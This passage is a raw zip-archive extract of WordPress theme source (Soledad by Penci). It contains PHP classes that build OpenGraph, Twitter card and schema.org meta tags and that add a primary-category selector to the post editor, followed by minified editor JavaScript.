							$og['audio']['type'] = $meta['mime_type'];
						}
					}
				}

				if (
					apply_filters( 'pcogtg_allow_to_use_content_image', true )
					&& empty( $src )
				) {
					$src      = array();
					$home_url = get_home_url();
					$content  = $post->post_content;
					if ( preg_match_all( '/<img[^>]+>/', $content, $matches ) ) {
						$matches = array_unique( $matches[0] );
						foreach ( $matches as $img ) {
							if ( preg_match( '/class="([^"]+)"/', $img, $matches_image_class ) ) {
								$classes = $matches_image_class[1];
								if ( preg_match( '/wp\-image\-(\d+)/', $classes, $matches_image_id ) ) {
									$attachment_id = $matches_image_id[1];
									$thumbnail_src = wp_get_attachment_image_src( $attachment_id, $this->image_size );
									if ( is_array( $thumbnail_src ) ) {
										$src[]               = esc_url( $thumbnail_src[0] );
										$og['og']['image'][] = $this->get_image_dimensions( $thumbnail_src, $attachment_id );
										continue;
									}
								}
							} elseif ( preg_match( '/src=([\'"])?([^"^\'^ ^>]+)([\'" >])?/', $img, $matches_image_src ) ) {
								$temp_src = $matches_image_src[2];
								$pos      = strpos( $temp_src, $home_url );
								if ( false === $pos ) {
									continue;
								}
								if ( 0 !== $pos ) {
									continue;
								}
								$attachment_id = $this->get_attachment_id( $temp_src );
								if ( 0 < $attachment_id ) {
									$thumbnail_src = wp_get_attachment_image_src( $attachment_id, $this->image_size );
									if ( is_array( $thumbnail_src ) ) {
										$src[]               = esc_url( $thumbnail_src[0] );
										$og['og']['image'][] = $this->get_image_dimensions( $thumbnail_src, $attachment_id );
									}
								} else {
									$og['og']['image'][] = $this->get_image_dimensions( array( $temp_src ) );
								}
							}
						}
					}
				}

				$og['og']['title'] = $this->strip_white_chars( get_the_title() );

				$og['og']['url'] = get_permalink();

				if ( ! post_password_required( $post->ID ) ) {
					if ( has_excerpt( $post->ID ) ) {
						$og['og']['description'] = get_the_excerpt();
					} else {

						$number_of_words         = apply_filters( 'pcogtg_description_words', 55 );
						$og['og']['description'] = wp_trim_words( wp_strip_all_tags( strip_shortcodes( $post->post_content ) ), $number_of_words, '...' );
					}
					$og['og']['description'] = $this->strip_white_chars( $og['og']['description'] );
					if ( empty( $og['og']['description'] ) ) {
						$og['og']['description'] = $og['og']['title'];
					}

					$tags = get_the_tags();
					if ( is_array( $tags ) && count( $tags ) > 0 ) {
						foreach ( $tags as $tag ) {
							$og['article']['tag'][] = esc_attr( $tag->name );
						}
					}
					$og['article']['published_time'] = gmdate( 'c', strtotime( $post->post_date_gmt ) );
					$og['article']['modified_time']  = gmdate( 'c', strtotime( $post->post_modified_gmt ) );

					$og['og']['updated_time'] = get_the_modified_date( 'c' );

					$og['article']['section'] = array();
					$post_categories          = wp_get_post_categories( $post->ID );
					if ( ! empty( $post_categories ) ) {
						foreach ( $post_categories as $category_id ) {
							$category                   = get_category( $category_id );
							$og['article']['section'][] = $category->name;
						}
					}

					$og['article']['tag'] = array();
					$post_tags            = wp_get_post_tags( $post->ID );
					if ( ! empty( $post_tags ) ) {
						foreach ( $post_tags as $tag ) {
							$og['article']['tag'][] = $tag->name;
						}
					}

					$og['article']['author'] = $this->get_the_author_meta_array( $post->post_author );
					$og['profile']           = $this->get_the_author_meta_array( $post->post_author );
				}

				$post_format = get_post_format( $post->ID );
				switch ( $post_format ) {
					case 'audio':
						$og['og']['type'] = 'music';
						break;
					case 'video':
						$og['og']['type'] = 'video';
						break;
				}

				$media = get_attached_media( 'video' );
				foreach ( $media as $one ) {

					if ( preg_match( '/^video/', $one->post_mime_type ) ) {
						$og['og']['rich_attachment'] = true;
						$video                       = array(
							'url'  => wp_get_attachment_url( $one->ID ),
							'type' => $one->post_mime_type,
						);
						if ( ! isset( $og['og']['video'] ) ) {
							$og['og']['video'] = array();
						}
						$og['og']['video'][] = $video;
					}
				}

				$media = get_attached_media( 'audio' );
				foreach ( $media as $one ) {
					if ( preg_match( '/^audio/', $one->post_mime_type ) ) {
						$og['og']['rich_attachment'] = true;
						$audio                       = array(
							'url'  => wp_get_attachment_url( $one->ID ),
							'type' => $one->post_mime_type,
						);
						if ( ! isset( $og['og']['audio'] ) ) {
							$og['og']['audio'] = array();
						}
						$og['og']['audio'][] = $audio;
					}
				}

				$og['twitter']['card'] = 'summary';
				if (
					isset( $og['og']['image'] )
					&& is_array( $og['og']['image'] )
					&& ! empty( $og['og']['image'] )
				) {
					$og = $this->set_twitter_image( $og );
				}

				if (
					! empty( $og )
					&& ! $this->debug
				) {
					set_transient( $cache_key, $og, apply_filters( 'pcogtg_set_transient_expiration', DAY_IN_SECONDS ) );
				}
			} else {
				$og = $cache;
			}
		} elseif ( is_author() ) {
			$author_id         = get_the_author_meta( 'ID' );
			$og['og']['url']   = get_author_posts_url( $author_id );
			$og['og']['type']  = 'profile';
			$og['profile']     = $this->get_the_author_meta_array( $author_id );
			$og['og']['image'] = get_avatar_url(
				$author_id,
				array(
					'size'    => 512,
					'default' => 404,
				)
			);

			$og['og']['description'] = $this->strip_white_chars( wp_strip_all_tags( get_the_author_meta( 'description' ) ) );
		} elseif ( is_search() ) {
			$og['og']['url'] = get_search_link();
		} elseif ( is_archive() ) {
			$obj = get_queried_object();
			if ( is_a( $obj, 'WP_Term' ) ) {
				$og['og']['url']         = get_term_link( $obj->term_id );
				$og['og']['description'] = $this->strip_white_chars( term_description( $obj->term_id, $obj->taxonomy ) );

				$term_meta_name = apply_filters(
					'og/term/meta/thumbnail_id_name',
					'image'
				);
				$image_id       = intval( get_term_meta( $obj->term_id, $term_meta_name, true ) );
				if ( 0 < $image_id ) {
					$thumbnail_src     = wp_get_attachment_image_src( $image_id, $this->image_size );
					$src               = $thumbnail_src[0];
					$og['og']['image'] = $this->get_image_dimensions( $thumbnail_src, $image_id );
				} else {

					$term_meta_name = apply_filters(
						'og/term/meta/thumbnail_url',
						'image_url'
					);
					$image_url      = get_term_meta( $obj->term_id, $term_meta_name, true );
					if ( wp_http_validate_url( $image_url ) ) {
						$og['og']['image'] = $image_url;
					}
				}
			} elseif ( is_a( $obj, 'WP_Post_Type' ) ) {
				$og['og']['url'] = get_post_type_archive_link( $obj->name );
			} elseif ( is_date() ) {
				$year  = get_query_var( 'year' );
				$month = get_query_var( 'monthnum' );
				$day   = get_query_var( 'day' );
				if ( is_day() ) {
					$og['og']['url'] = get_day_link( $year, $month, $day );
				} elseif ( is_month() ) {
					$og['og']['url'] = get_month_link( $year, $month );
				} else {
					$og['og']['url'] = get_year_link( $year );
				}
			}
		} else {
			if ( is_home() || is_front_page() ) {
				$og['og']['type'] = 'website';
			}
			$og['og']['description'] = $this->strip_white_chars( get_bloginfo( 'description' ) );
			$og['og']['title']       = get_bloginfo( 'title' );
			$og['og']['url']         = home_url();
			if ( ! is_front_page() && is_home() ) {
				$og['og']['url'] = get_permalink( get_option( 'page_for_posts' ) );
			}
		}
		if ( ! isset( $og['og']['title'] ) || empty( $og['og']['title'] ) ) {
			$og['og']['title'] = wp_get_document_title();
		}

		if (
			(
				! isset( $og['og']['image'] )
				|| empty( $og['og']['image'] )
			)
			&& function_exists( 'get_site_icon_url' )
		) {
			$og['og']['image'] = get_site_icon_url();
		}

		if ( isset( $og['og']['image'] ) ) {
			$tmp_src = null;
			if ( is_string( $og['og']['image'] ) ) {
				$tmp_src = $og['og']['image'];
			} elseif (
				is_array( $og['og']['image'] )
				&& ! empty( $og['og']['image'] )
			) {
				$img = reset( $og['og']['image'] );
				if ( isset( $img['url'] ) ) {
					$tmp_src = $img['url'];
				}
			}

			if (
				! isset( $og['twitter']['image'] )
			) {
				$og = $this->set_twitter_image( $og );
			}

			if ( apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
				if ( ! isset( $og['schema']['image'] ) ) {
					$og['schema']['image'] = $tmp_src;
				}
			}
		}

		foreach ( array( 'title', 'description', 'url' ) as $key ) {
			if ( isset( $og['og'][ $key ] ) ) {
				$og['twitter'][ $key ] = $og['og'][ $key ];
			}
		}

		if ( apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
			foreach ( $this->schema_org_mapping as $itemprop => $pcogtg_keys ) {
				if ( isset( $og[ $pcogtg_keys[0] ] ) ) {
					if ( isset( $og[ $pcogtg_keys[0] ][ $pcogtg_keys[1] ] ) ) {
						$og['schema'][ $itemprop ] = apply_filters(
							'pcogtg_schema_' . $itemprop,
							$og[ $pcogtg_keys[0] ][ $pcogtg_keys[1] ]
						);
					}
				}
			}

			if ( apply_filters( 'pcogtg_allow_to_use_schema_tagline', false ) ) {
				$og['schema']['tagline'] = apply_filters(
					'pcogtg_schema_tagline',
					get_option( 'blogdescription' )
				);
			}
		}

		if ( ! empty( $src ) ) {
			$tmp_src = $src;
			if ( is_array( $tmp_src ) ) {
				$tmp_src = array_shift( $tmp_src );
			}
			if ( ! empty( $tmp_src ) ) {

				if ( apply_filters( 'pcogtg_head_link_rel_image_src_enabled', true ) ) {
					printf(
						'<link rel="image_src" href="%s">%s',
						esc_url( $tmp_src ),
						$this->debug ? PHP_EOL : ''
					);
				}

				if ( apply_filters( 'pcogtg_head_meta_title_image_enabled', true ) ) {
					printf(
						'<meta name="msapplication-TileImage" content="%s">%s',
						esc_url( $tmp_src ),
						$this->debug ? PHP_EOL : ''
					);
				}

				if ( apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
					$og['schema']['image'] = $tmp_src;
				}
			}
		}

		if ( isset( $og['twitter'] ) && isset( $og['twitter']['description'] ) ) {
			$number_of_words = apply_filters( 'pcogtg_description_words', 55 );
			do {
				$og['twitter']['description'] = wp_trim_words( $og['twitter']['description'], $number_of_words, '...' );
				$number_of_words --;
			} while ( 200 < mb_strlen( $og['twitter']['description'] ) );
		}

		foreach ( $og as $key => $data ) {
			$og[ $key ] = apply_filters( 'pcogtg_' . $key . '_array', $data );
		}

		$this->og = apply_filters( 'pcogtg_array', $og );

		return $this->og;
	}


	private function echo_array( $og, $parent = array() ) {
		foreach ( $og as $tag => $data ) {
			if ( empty( $parent ) ) {
				echo PHP_EOL;
				if ( $this->debug ) {
					printf( '<!-- %s -->%s', $tag, PHP_EOL );
				}
			}
			$tags = $parent;
			if ( ! is_integer( $tag ) ) {
				$tags[] = $tag;
			}

			if ( 'labels' === $tag && count( $parent ) && 'twitter' === $parent[0] ) {
				$this->echo_twiter_labels( $data );
			} elseif ( is_array( $data ) ) {

				if ( 'logo' === $tag ) {
					if ( ! empty( $data['content'] ) ) {
						$this->echo_one_with_array_of_params( array( 'og', $tag ), $data );
					}
				} else {
					$this->echo_array( $data, $tags );
				}
			} else {
				if ( 'schema' === $tags[0] ) {
					if ( apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
						$this->echo_one( $tags[1], $data, 'itemprop' );
					}
				} elseif ( 'offers' === $tags[0] ) {
					$this->echo_one( $tags, $data, 'itemprop' );
				} elseif ( 2 < sizeof( $tags ) && $tags[1] === $tags[2] ) {
					$this->echo_one( array( $tags[0], $tags[1] ), $data );
				} else {
					$this->echo_one( $tags, $data );
				}
			}
		}
	}


	private function echo_one_with_array_of_params( $property, $params ) {
		$meta_property = $property;
		if ( is_array( $property ) ) {
			$meta_property = implode( ':', $property );
		}
		if ( ! is_array( $params ) ) {
			$this->echo_one( $property, $params );

			return;
		}
		$attrs = array();
		foreach ( $params as $key => $value ) {
			$attrs[] = sprintf(
				'%s="%s"',
				esc_attr( $key ),
				esc_attr( $value )
			);
		}
		if ( empty( $attrs ) ) {
			return;
		}

		$property_filter_string = preg_replace( '/:/', '_', $meta_property );

		$filter_name = sprintf( 'pcogtg_%s_meta', $property_filter_string );
		echo apply_filters(
			$filter_name,
			sprintf(
				'<meta property="%s" %s>%s',
				esc_attr( $meta_property ),
				implode( ' ', $attrs ),
				$this->debug ? PHP_EOL : ''
			)
		);
	}


	private function echo_one( $property, $value, $name = 'property' ) {
		$meta_property = $property;
		if ( is_array( $property ) ) {
			$meta_property = implode( ':', $property );
		}

		$meta_property = preg_replace( '/^og:(image|video):url$/', 'og:$1', $meta_property );

		$property_filter_string = preg_replace( '/:/', '_', $meta_property );

		$filter_name = sprintf( 'pcogtg_%s_value', $property_filter_string );

		$value = apply_filters( $filter_name, $value );
		if ( empty( $value ) ) {
			return;
		}

		$filter_name = sprintf( 'pcogtg_%s_meta', $property_filter_string );
		echo apply_filters(
			$filter_name,
			sprintf(
				'<meta %s="%s" content="%s">%s',
				esc_attr( $name ),
				esc_attr( $meta_property ),
				esc_attr( wp_strip_all_tags( $value ) ),
				$this->debug ? PHP_EOL : ''
			)
		);
	}


	private function get_locale() {
		if ( null !== $this->locale ) {
			return apply_filters( 'pcogtg_get_locale', $this->locale );
		}
		$this->locale = preg_replace( '/-/', '_', get_bloginfo( 'language' ) );

		return apply_filters( 'pcogtg_get_locale', $this->locale );
	}


	private function get_image_dimensions( $image, $image_id = 0 ) {
		if ( empty( $image ) || ! is_array( $image ) ) {
			return null;
		}
		$data = array(
			'url' => $image[0],
		);
		if ( preg_match( '/^https/', $image[0] ) ) {
			$data['secure_url'] = $image[0];
		}
		if ( 2 < count( $image ) ) {
			$data['width']  = intval( $image[1] );
			$data['height'] = intval( $image[2] );
		}
		if ( 0 === $image_id ) {
			$size = @getimagesize( $image[0] );
			if ( ! empty( $size ) ) {
				$data['width']  = $size[0];
				$data['height'] = $size[1];
				$data['type']   = $size['mime'];
			}
		} else {
			$data['alt'] = get_post_meta( $image_id, '_wp_attachment_image_alt', true );
			if ( empty( $data['alt'] ) ) {
				$data['alt'] = wp_get_attachment_caption( $image_id );
				if ( empty( $data['alt'] ) ) {
					$data['alt'] = get_the_title( $image_id );
				}
			}
			/**
			 * Set mime type
			 *
			 * @since 2.7.7
			 */
			$data['type'] = get_post_mime_type( $image_id );
		}

		return $data;
	}


	private function get_attachment_id( $url ) {
		if ( ! is_string( $url ) ) {
			return 0;
		}
		global $wpdb;
		$attachment = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT ID FROM $wpdb->posts WHERE guid=%s",
				$url
			)
		);
		if ( empty( $attachment ) ) {
			$url2 = preg_replace( '/\-\d+x\d+(.[egjnp]+)$/', '$1', $url );
			if ( $url != $url2 ) {
				return $this->get_attachment_id( $url2 );
			}
		}
		if ( is_array( $attachment ) && ! empty( $attachment ) ) {
			return $attachment[0];
		}

		return 0;
	}


	private function get_transient_key( $post_id ) {
		$key    = sprintf( 'pcogtg_%d_%s', $post_id, PENCI_SOLEDAD_VERSION );
		$locale = $this->get_locale();
		if ( ! empty( $locale ) ) {
			$key .= '_' . $locale;
		}

		return $key;
	}


	public function echo_twiter_labels( $data ) {
		$counter = 1;
		foreach ( $data as $one ) {
			if ( ! isset( $one['label'] ) ) {
				continue;
			}
			if ( ! isset( $one['data'] ) ) {
				continue;
			}
			$this->echo_one( 'twitter:label' . $counter, $one['label'] );
			$this->echo_one( 'twitter:data' . $counter, $one['data'] );
			$counter ++;
		}
	}


	private function map_itemscope_itemtype( $type ) {
		$map = array(
			'article' => 'https://schema.org/Article',
			'audio'   => 'https://schema.org/AudioObject',
			'blog'    => 'https://schema.org/Blog',
			'contact' => 'https://schema.org/ContactPage',
			'course'  => 'https://schema.org/Course',
			'page'    => 'https://schema.org/WebPage',
			'person'  => 'https://schema.org/Person',
			'place'   => 'https://schema.org/Place',
			'post'    => 'https://schema.org/BlogPosting',
			'product' => 'https://schema.org/Product',
			'search'  => 'https://schema.org/SearchAction',
			'video'   => 'https://schema.org/VideoObject',
		);
		if ( isset( $map[ $type ] ) ) {
			return $map[ $type ];
		}

		return 'https://schema.org/WebSite';
	}


	public function filter_add_html_itemscope_itemtype( $output, $doctype ) {

		if ( is_admin() ) {
			return $output;
		}

		if ( 'html' !== $doctype ) {
			return $output;
		}
		if ( ! apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
			return $output;
		}

		global $wp_query;
		if ( isset( $wp_query->query['sitemap-stylesheet'] ) ) {
			return $output;
		}
		$type   = $this->get_type();
		$output .= sprintf(
			' itemscope itemtype="%s"',
			esc_attr( $this->map_itemscope_itemtype( $type ) )
		);

		return $output;
	}


	private function get_type() {

		if ( is_home() ) {
			return 'blog';
		}

		if ( is_singular() ) {
			$post_type = get_post_type();
			switch ( $post_type ) {
				case 'page':
				case 'post':
					global $post;
					if ( preg_match( '/contact-form-7/', $post->post_content ) ) {
						return 'contact';
					}

					return $post_type;
				case 'course':
				case 'event':
				case 'place':
				case 'product':
					return $post_type;
				case 'attachment':
					if ( wp_attachment_is_image() ) {
						return 'image';
					}
					if ( wp_attachment_is( 'video' ) ) {
						return 'video';
					}
					if ( wp_attachment_is( 'video' ) ) {
						return 'video';
					}
			}
		}

		if ( is_author() ) {
			return 'person';
		}

		if ( is_search() ) {
			return 'search';
		}

		return 'website';
	}

	private function get_the_author_meta_array( $author_id ) {
		return apply_filters(
			'pcogtg_profile',
			array(
				'first_name' => get_the_author_meta( 'first_name', $author_id ),
				'last_name'  => get_the_author_meta( 'last_name', $author_id ),
				'username'   => get_the_author_meta( 'display_name', $author_id ),
			),
			$author_id
		);
	}

	private function set_twitter_image( $og ) {
		$img = array();
		if (
			isset( $og['og']['image'] )
			&& is_array( $og['og']['image'] )
			&& ! empty( $og['og']['image'] )
		) {
			$img = reset( $og['og']['image'] );
		} else {
			return $og;
		}
		if ( isset( $img['url'] ) ) {

			if ( isset( $img['width'] ) && 519 < $img['width'] ) {
				$og['twitter']['card'] = 'summary_large_image';
			}
			$og['twitter']['image']['image'] = $img['url'];

			if ( isset( $img['alt'] ) ) {
				$og['twitter']['image']['alt'] = $img['alt'];
			}
		}

		return $og;
	}

	public function get_site_logo() {
		if ( ! apply_filters( 'allow_pcogtg_logo', false ) ) {
			return;
		}
		$logo_id = get_theme_mod( 'custom_logo' );
		if ( empty( $logo_id ) ) {
			return;
		}
		$logo     = wp_get_attachment_metadata( $logo_id );
		$logo_src = wp_get_attachment_image_src( $logo_id, apply_filters( 'pcogtg_logo_size', 'full' ) );
		if ( empty( $logo_src ) ) {
			return;
		}

		return array(
			'content' => $logo_src[0],
			'size'    => sprintf( '%dx%d', $logo['width'], $logo['height'] ),
		);
	}
}

new Penci_Soledad_OpenGraph();PK     N\(@J"  J"  %  inc/primary-cat/penci_primary_cat.phpnu [        <?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Penci_Primary_Category {

	/**
	 * Constructor.
	 */
	public function __construct() {

		if ( function_exists('yoast_get_primary_term_id') || class_exists( 'RankMath' ) ) {
			return;
		}
		

		$this->register_hooks();
	}

	/**
	 * Register Hooks.
	 */
	public function register_hooks() {
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_script' ), 10, 1 );
		add_action( 'admin_footer', array( $this, 'include_selection_template' ) );
		add_action( 'save_post', array( $this, 'save_primary_terms' ), 10, 2 );

		$post_types = get_post_types( [ 'show_in_rest' => true ] );
		add_filter( 'wp_insert_post_data', [ $this, 'update_data' ], 9999, 2 );
		foreach ( $post_types as $post_type ) {
			add_filter( "rest_pre_insert_$post_type", [ $this, 'modified_params' ], 99, 2 );
		}
	}

	/**
	 * Enqueue Script.
	 *
	 * @param string $hook_suffix - Page hook suffix.
	 */
	public function enqueue_script( $hook_suffix ) {

		if ( ! $this->is_post_edit( $hook_suffix ) ) {
			return;
		}

		$post_taxonomies = $this->get_post_taxonomies();

		if ( empty( $post_taxonomies ) ) {
			return;
		}

		// Get current screen to determine the script name to be enqueued.
		$current_screen = get_current_screen();
		$script_name    = 'classic-editor.js';
		$asset_file     = 'classic-editor.asset.php';

		if (
			isset( $current_screen->is_block_editor )
			&& $current_screen->is_block_editor
		) {
			$script_name = 'gutenberg.js';
			$asset_file  = 'gutenberg.asset.php';
		}

		$assets = require_once PENCI_SOLEDAD_DIR . '/inc/primary-cat/dist/' . $asset_file;

		wp_register_script(
			'pcpricat-taxonomy',
			PENCI_SOLEDAD_URL . '/inc/primary-cat/dist/' . $script_name,
			array_merge(
				$assets['dependencies'],
				array( 'jquery' )
			),
			$assets['version'],
			true
		);
		wp_enqueue_script( 'pcpricat-taxonomy' );

		wp_localize_script(
			'pcpricat-taxonomy',
			'pcpricatData',
			array(
				'taxonomies' => array_map(
					array( $this, 'get_taxonomies_for_js' ),
					$post_taxonomies
				),
			)
		);
	}

	/**
	 * Include Primary Term Selection Template.
	 */
	public function include_selection_template() {
		if ( ! $this->is_post_edit() ) {
			return;
		}

		?>
        <style>
            .pcpricat-primary-term select { width: 100% }
        </style>

        <script type="text/html" id="tmpl-pcpricat-select-primary-term">
            <div class="pcpricat-primary-term">
                <h4 class="pcpricat-primary-term-heading">
                    <?php
                    /* translators: %s expands to taxonomy title. */
                    echo sprintf( esc_html__( 'Primary %s', 'soledad' ), '{{data.taxonomy.title}}' );
                    ?>
                </h4>
                <select id="pcpricat-primary-term-{{data.taxonomy.name}}" name="pcpricat_primary_term_{{data.taxonomy.name}}">
                    <option value="-1">
                        <?php
                        /* translators: %s expands to taxonomy title. */
                        echo sprintf( esc_html__( '— Select Primary %s —', 'soledad' ), '{{data.taxonomy.title}}' );
                        ?>
                    </option>
                    <# _( data.taxonomy.terms ).each( function( term ) { #>
                        <option value="{{term.id}}"
                        <# if ( data.taxonomy.primary === term.id ) { #>
                            selected
                        <# } #>
                        >{{term.name}}</option>
                    <# }); #>
                </select>
                <?php wp_nonce_field( 'pcpricat-save-primary-term', 'pcpricat_save_primary_{{data.taxonomy.name}}_nonce' ); ?>
            </div>
        </script>
        <?php
	}

	/**
	 * Save primary terms on post submit.
	 *
	 * @param integer $post_id - Post id.
	 * @param WP_Post $post    - Post object.
	 */
	public function save_primary_terms( $post_id, $post ) {
		$post_taxonomies = $this->get_post_taxonomies( $post_id );

		foreach ( $post_taxonomies as $post_taxonomy ) {
			$this->save_primary_term( $post_id, $post_taxonomy );
		}
	}

	/**
	 * Returns Primary Term of the editing post.
	 *
	 * @param string $taxonomy - Taxonomy name.
	 * @return integer
	 */
	public function get_primary_term( $taxonomy ) {

		$primary_term = (int) get_post_meta(
			$this->get_current_post_id(),
			'pcpricat_primary_' . $taxonomy,
			true
		);


		$post_terms = get_the_terms( $this->get_current_post_id(), $taxonomy );

		if ( ! $post_terms || is_wp_error( $post_terms ) ) {
			$post_terms = array();
		}

		if ( ! in_array( $primary_term, wp_list_pluck( $post_terms, 'term_id' ), true ) ) {
			$primary_term = false;
		}

		return $primary_term;
	}

	/**
	 * Save Primary Term of a post.
	 *
	 * @param integer     $post_id  - Post id.
	 * @param WP_Taxonomy $taxonomy - Taxonomy object.
	 */
	public function save_primary_term( $post_id, $taxonomy ) {
		
		$primary_term = false;
		if ( isset( $_POST[ 'pcpricat_primary_term_' . $taxonomy->name ] ) ) {
			$primary_term = (int) sanitize_text_field(
				wp_unslash( $_POST[ 'pcpricat_primary_term_' . $taxonomy->name ] )
			);
		}

		if ( ! $primary_term ) {
			return;
		}

		check_admin_referer(
			'pcpricat-save-primary-term',
			'pcpricat_save_primary_' . $taxonomy->name . '_nonce'
		);

		update_post_meta(
			$post_id,
			'pcpricat_primary_' . $taxonomy->name,
			$primary_term
		);
	}

	/**
	 * Returns true if the current page is post edit page.
	 *
	 * @param string $hook_suffix - Page hook suffix.
	 * @return boolean
	 */
	public function is_post_edit( $hook_suffix = '' ) {
		if ( '' === $hook_suffix ) {
			global $pagenow;
			$hook_suffix = $pagenow;
		}

		return 'post-new.php' === $hook_suffix || 'post.php' === $hook_suffix;
	}

	/**
	 * Get Post Type Taxonomies.
	 *
	 * @param string $post_id - Post id.
	 * @return array
	 */
	public function get_post_taxonomies( $post_id = 0 ) {

		if ( ! $post_id ) {
			$post_id = $this->get_current_post_id();
		}

		$taxonomies = wp_cache_get( 'pcpricat_post_taxonomies_' . $post_id, 'pcpricat' );

		if ( false !== $taxonomies ) {
			return $taxonomies;
		}

		$post_type  = get_post_type( $post_id );
		$taxonomies = get_object_taxonomies( $post_type, 'objects' );

		foreach ( $taxonomies as $taxonomy_name => $taxonomy ) {
			if ( ! $taxonomy->hierarchical ) {
				unset( $taxonomies[ $taxonomy_name ] );
			}
		}

		wp_cache_set( 'pcpricat_post_taxonomies_' . $post_id, $taxonomies, 'pcpricat' );

		return $taxonomies;
	}

	/**
	 * Return Current Post ID.
	 *
	 * @return integer
	 */
	public function get_current_post_id() {
		return (int) filter_input( INPUT_GET, 'post', FILTER_SANITIZE_NUMBER_INT );
	}

	/**
	 * Get taxonomy data for JS in array.
	 *
	 * @param WP_Taxonomy $taxonomy - WP Taxonomy object.
	 * @return array
	 */
	public function get_taxonomies_for_js( $taxonomy ) {
		return array(
			'name'     => $taxonomy->name,
			'title'    => $taxonomy->labels->singular_name,
			'primary'  => $this->get_primary_term( $taxonomy->name ),
			'restBase' => $taxonomy->rest_base,
			'terms'    => array_map(
				array( $this, 'get_terms_for_js' ),
				get_terms( $taxonomy->name )
			),
		);
	}

	/**
	 * Get term data for JS in array.
	 *
	 * @param WP_Term $term - WP term object.
	 * @return array
	 */
	public function get_terms_for_js( $term ) {
		return array(
			'id'   => $term->term_id,
			'name' => $term->name,
		);
	}

	public function modified_params( $prepared_post, $request ) {
		if ( 'PUT' !== $request->get_method() ) {
			return $prepared_post;
		}

		$params = $request->get_params();

		if ( isset( $params['meta']['pcpricat_primary_term_category'] ) ) {
			$prepared_post->pcpricat_primary_term_category = $params['meta']['pcpricat_primary_term_category'];
		}

		$post_taxonomies = $this->get_post_taxonomies();

		foreach ( $post_taxonomies as $post_taxonomy ) {
			$post_taxonomy = $post_taxonomy->name;
			if ( isset( $params['meta']['pcpricat_primary_term_'.$post_taxonomy ] ) ) {
				$prepared_post->{'pcpricat_primary_term_'.$post_taxonomy} = $params['meta']['pcpricat_primary_term_'.$post_taxonomy];
			}
		}

		return $prepared_post;
	}

	public function update_data( $data, $postarr ) {
		if ( ! isset( $postarr['ID'] ) ) {
			return $data;
		}

		$post_id = $postarr['ID'];

		$post_taxonomies = $this->get_post_taxonomies( $post_id );

		foreach ( $post_taxonomies as $post_taxonomy ) {

			$post_taxonomy = $post_taxonomy->name;
			
			if ( isset( $postarr['pcpricat_primary_term_'.$post_taxonomy] ) ) {
				update_post_meta(
					$post_id,
					'pcpricat_primary_' . $post_taxonomy,
					$postarr['pcpricat_primary_term_'.$post_taxonomy]
				);
			}
		}

		return $data;
	}
}
new Penci_Primary_Category();PK     N\F.    &  inc/primary-cat/dist/classic-editor.jsnu [        (()=>{"use strict";const e=window.lodash;jQuery(document).ready((function(){const t=pcpricatData.taxonomies,n=wp.template("pcpricat-select-primary-term");function c(e,t,n){const c=jQuery(`#pcpricat-primary-term-${e}`),o=jQuery("<option></option>");o.prop("value",t),o.html(n.trim()),c.append(o)}function o(e,t){jQuery(`#pcpricat-primary-term-${e}`).find(`option[value=${t}]`).remove()}jQuery((0,e.values)(t)).each((function(e,t){const i=jQuery(`#taxonomy-${t.name}`),r=n({taxonomy:t});i.append(r),function(e){const t=jQuery(`#${e}checklist input[type="checkbox"]`);1>t.length||t.each((function(t,n){(n=jQuery(n)).is(":checked")||o(e,n.val())}))}(t.name),i.on("click",'input[type="checkbox"]',function(e){return function(){jQuery(this).is(":checked")?c(e,jQuery(this).val(),jQuery(this).parent().text()):o(e,jQuery(this).val())}}(t.name)),i.on("wpListAddEnd",`#${t.name}checklist`,function(e){return function(){const t=jQuery(`#${e}checklist input[type="checkbox"]:checked`);if(1>t.length)return;const n=jQuery(`#pcpricat-primary-term-${e}`);t.each((function(t,o){o=jQuery(o),n.find(`option[value=${o.val()}]`).length||c(e,o.val(),o.parent().text())}))}}(t.name))}))}))})();PK     N\W4      (  inc/primary-cat/dist/gutenberg.asset.phpnu [        <?php return array('dependencies' => array('wp-api-fetch', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '4dd8502b10941d670464');
PK     N\S\   \   -  inc/primary-cat/dist/classic-editor.asset.phpnu [        <?php return array('dependencies' => array('lodash'), 'version' => '201d08d10c3c4b4891ac');
PK     N\ [
  
  !  inc/primary-cat/dist/gutenberg.jsnu [        (()=>{"use strict";var e={};function t(){return t=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},t.apply(this,arguments)}e.n=t=>{var r=t&&t.__esModule?()=>t.default:()=>t;return e.d(r,{a:r}),r},e.d=(t,r)=>{for(var o in r)e.o(r,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:r[o]})},e.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t);const r=window.wp.element,o=window.wp.data,n=window.wp.apiFetch;var s=e.n(n);const a=window.wp.url,i=window.wp.compose,p=window.wp.i18n;class m extends r.Component{constructor(){super(),this.state={terms:null,primaryTermId:0}}componentDidMount(){s()({path:(0,a.addQueryArgs)(`/wp/v2/${this.props.primaryTaxonomy.restBase}`,{_fields:"id,name",orderby:"count",order:"desc",per_page:-1})}).then((e=>{this.setState({terms:e})})),this.setState({primaryTermId:this.props.primaryTaxonomy.primary})}onSelectChange(e){const t={};t[`pcpricat_primary_term_${this.props.primaryTaxonomy.name}`]=parseInt(e.target.value,10),this.props.updateSPC(t),this.setState({primaryTermId:e.target.value})}render(){const{primaryTaxonomy:e,selectedTermsIds:t}=this.props,{title:o}=e;return(0,r.createElement)(r.Fragment,null,(0,r.createElement)("h4",null,(0,p.sprintf)(
/* translators: %s expands to taxonomy title. */
(0,p.__)("Primary %s","soledad"),o)),(0,r.createElement)("select",{onChange:this.onSelectChange.bind(this)},(0,r.createElement)("option",{value:"-1"},(0,p.sprintf)(
/* translators: %s expands to taxonomy title. */
